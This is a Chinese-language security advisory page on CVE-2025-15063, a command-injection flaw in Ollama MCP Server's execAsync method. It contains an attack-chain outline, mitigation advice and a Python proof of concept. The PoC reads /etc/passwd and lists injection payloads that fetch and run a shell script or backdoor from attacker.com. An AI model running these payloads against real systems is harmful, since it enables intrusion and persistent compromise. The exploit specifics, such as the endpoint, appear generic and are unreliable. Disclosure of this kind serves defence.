IPBUF安全漏洞报告
English
CVE-2025-15063 CVSS 9.8 严重

CVE-2025-15063 Ollama MCP Server execAsync命令注入远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2025-15063
漏洞类型
命令注入/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ollama MCP Server

相关标签

命令注入远程代码执行RCEOllamaMCP ServerZDI-CAN-27683ZDI-26-020无认证利用严重漏洞

漏洞概述

CVE-2025-15063是Ollama MCP Server中的一个严重命令注入漏洞,CVSS评分高达9.8(严重级别)。该漏洞存在于execAsync方法的实现中,由于缺乏对用户输入字符串的正确验证,攻击者可以通过构造恶意输入直接执行系统命令。攻击者无需任何认证即可远程利用此漏洞,成功 exploit 后可在服务账户的上下文中执行任意代码。此漏洞被ZDI(Zero Day Initiative)编号为ZDI-26-020,对企业安全构成严重威胁。建议受影响用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Ollama MCP Server的execAsync方法对用户提供的字符串参数缺乏输入验证。攻击者可以通过MCP协议接口注入恶意命令,恶意字符串未经安全处理直接传递给系统调用函数(如exec、system或类似函数),导致操作系统命令执行。由于该服务通常以较高权限运行,攻击者获得的代码执行权限等同于服务账户权限,可能导致敏感数据泄露、系统完全沦陷等严重后果。攻击者可利用此漏洞在受感染系统上部署后门、窃取凭据或横向移动。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别运行Ollama MCP Server的目标系统,确认暴露的MCP协议接口
STEP 2
步骤2
准备阶段:攻击者构造包含恶意命令的execAsync方法调用请求,使用分号、管道符或命令替换等技巧注入额外命令
STEP 3
步骤3
利用阶段:发送精心构造的HTTP请求到/mcp/execAsync端点,注入的命令随请求一起被传递给后端系统调用
STEP 4
步骤4
执行阶段:由于缺乏输入验证,恶意命令以服务账户权限在服务器上执行
STEP 5
步骤5
持久化阶段:攻击者可部署后门、创建新用户账户或下载额外恶意软件建立持久访问
STEP 6
步骤6
横向移动:利用获得的服务器访问权限进一步攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15063 PoC - Ollama MCP Server Command Injection # Target: Ollama MCP Server with vulnerable execAsync method import json import requests TARGET = "http://target:11434" def exploit_cve_2025_15063(): """ Exploit for CVE-2025-15063: Ollama MCP Server execAsync Command Injection This PoC demonstrates how attacker-supplied input is not properly validated before being used in system calls. """ # Malicious payload to achieve RCE via command injection payload = { "method": "execAsync", "params": { "command": "; cat /etc/passwd #" # Command injection payload } } try: response = requests.post( f"{TARGET}/mcp/execAsync", json=payload, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") def generate_shell_payload(): """Generate various command injection payloads""" payloads = [ "; id > /tmp/pwned #", # Basic injection "| cat /etc/passwd #", # Pipe-based injection "`whoami`", # Command substitution "$(curl http://attacker.com/shell.sh | bash)", # Remote code download "&& wget http://attacker.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor" ] return payloads if __name__ == "__main__": print("[*] CVE-2025-15063 PoC - Ollama MCP Server RCE") print("[*] Target must be running Ollama MCP Server") exploit_cve_2025_15063()

影响范围

Ollama MCP Server < 修复版本
ZDI-CAN-27683 相关版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 通过防火墙或访问控制列表限制对Ollama MCP Server的访问,仅允许受信任的IP访问;2) 禁用或限制execAsync方法的公开访问;3) 监控系统日志,查找可疑的命令执行行为;4) 考虑使用容器化部署并限制容器权限;5) 实施网络分段,将Ollama服务隔离在单独的网段中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表